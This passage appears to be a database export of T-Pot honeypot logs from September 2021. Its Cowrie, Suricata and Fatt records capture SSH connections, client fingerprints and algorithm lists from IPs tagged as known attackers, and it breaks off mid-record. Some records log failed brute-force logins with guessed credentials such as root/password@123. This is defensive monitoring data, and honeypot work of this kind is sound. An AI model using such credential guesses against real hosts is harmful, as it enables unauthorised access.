21882	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:24.356919+03	2021-09-20 14:15:04.221613+03	{"_id": "CwXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51890, "timestamp": "2021-09-20T11:06:24.356919", "@timestamp": "2021-09-20T11:06:24.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21883	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.189405+03	2021-09-20 14:15:04.222613+03	{"_id": "AAXiAnwBvYTbRNuEuP5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3449431e51cd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:24.189405Z", "@timestamp": "2021-09-20T11:06:24.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21884	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:06:24.336071+03	2021-09-20 14:15:04.224613+03	{"_id": "AQXiAnwBvYTbRNuEuP5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.login.failed", "message": "login attempt [root/password@123] failed", "session": "0519a0a73be2", "@version": "1", "password": "password@123", "username": "root", "timestamp": "2021-09-20T11:06:24.336071Z", "@timestamp": "2021-09-20T11:06:24.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21885	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.35543+03	2021-09-20 14:15:04.225614+03	{"_id": "AgXiAnwBvYTbRNuEuP5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "157a4ae18a99", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:24.355430Z", "@timestamp": "2021-09-20T11:06:24.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21886	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:24.613195+03	2021-09-20 14:15:04.226613+03	{"_id": "DwXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [danielle/danielle] failed", "session": "5e36015ef099", "@version": "1", "password": "danielle", "username": "danielle", "timestamp": "2021-09-20T11:06:24.613195Z", "@timestamp": "2021-09-20T11:06:24.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21887	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.63286+03	2021-09-20 14:15:04.227613+03	{"_id": "EAXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "157a4ae18a99", "@version": "1", "timestamp": "2021-09-20T11:06:24.632860Z", "@timestamp": "2021-09-20T11:06:24.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21888	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:24.822211+03	2021-09-20 14:15:04.228613+03	{"_id": "BQXiAnwBvYTbRNuEuP5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:24.822211Z", "@timestamp": "2021-09-20T11:06:24.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21903	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.972516+03	2021-09-20 14:15:04.245613+03	{"_id": "bAXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:49766 (192.168.176.2:22) [session: 18ce36227242]", "session": "18ce36227242", "@version": "1", "protocol": "ssh", "src_port": 49766, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.972516Z", "@timestamp": "2021-09-20T11:06:26.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21889	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:25.152986+03	2021-09-20 14:15:04.229612+03	{"_id": "MQXiAnwBvYTbRNuEu_5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 2148782526436214, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38288, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.152986Z", "@timestamp": "2021-09-20T11:06:25.152Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21890	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:25.824802+03	2021-09-20 14:15:04.230613+03	{"_id": "MAXiAnwBvYTbRNuEu_5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 258964704014337, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43632, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.824802Z", "@timestamp": "2021-09-20T11:06:25.824Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21891	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:26.439126+03	2021-09-20 14:15:04.231613+03	{"_id": "XgXiAnwBvYTbRNuEv_4u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1003926781523138, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57202, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.439126Z", "@timestamp": "2021-09-20T11:06:26.439Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21892	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:26.246573+03	2021-09-20 14:15:04.232612+03	{"_id": "XQXiAnwBvYTbRNuEv_4u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1423882241145095, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57066, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.246573Z", "@timestamp": "2021-09-20T11:06:26.246Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21893	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.216813+03	2021-09-20 14:15:04.233613+03	{"_id": "YAXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57202 (192.168.176.2:22) [session: 495db464133b]", "session": "495db464133b", "@version": "1", "protocol": "ssh", "src_port": 57202, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.216813Z", "@timestamp": "2021-09-20T11:06:26.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21904	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.219536+03	2021-09-20 14:15:04.247614+03	{"_id": "bQXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "495db464133b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:26.219536Z", "@timestamp": "2021-09-20T11:06:26.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21894	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:26.222543+03	2021-09-20 14:15:04.234613+03	{"_id": "YQXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57202, "timestamp": "2021-09-20T11:06:26.222543", "@timestamp": "2021-09-20T11:06:26.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21895	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:26.246964+03	2021-09-20 14:15:04.235614+03	{"_id": "YgXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-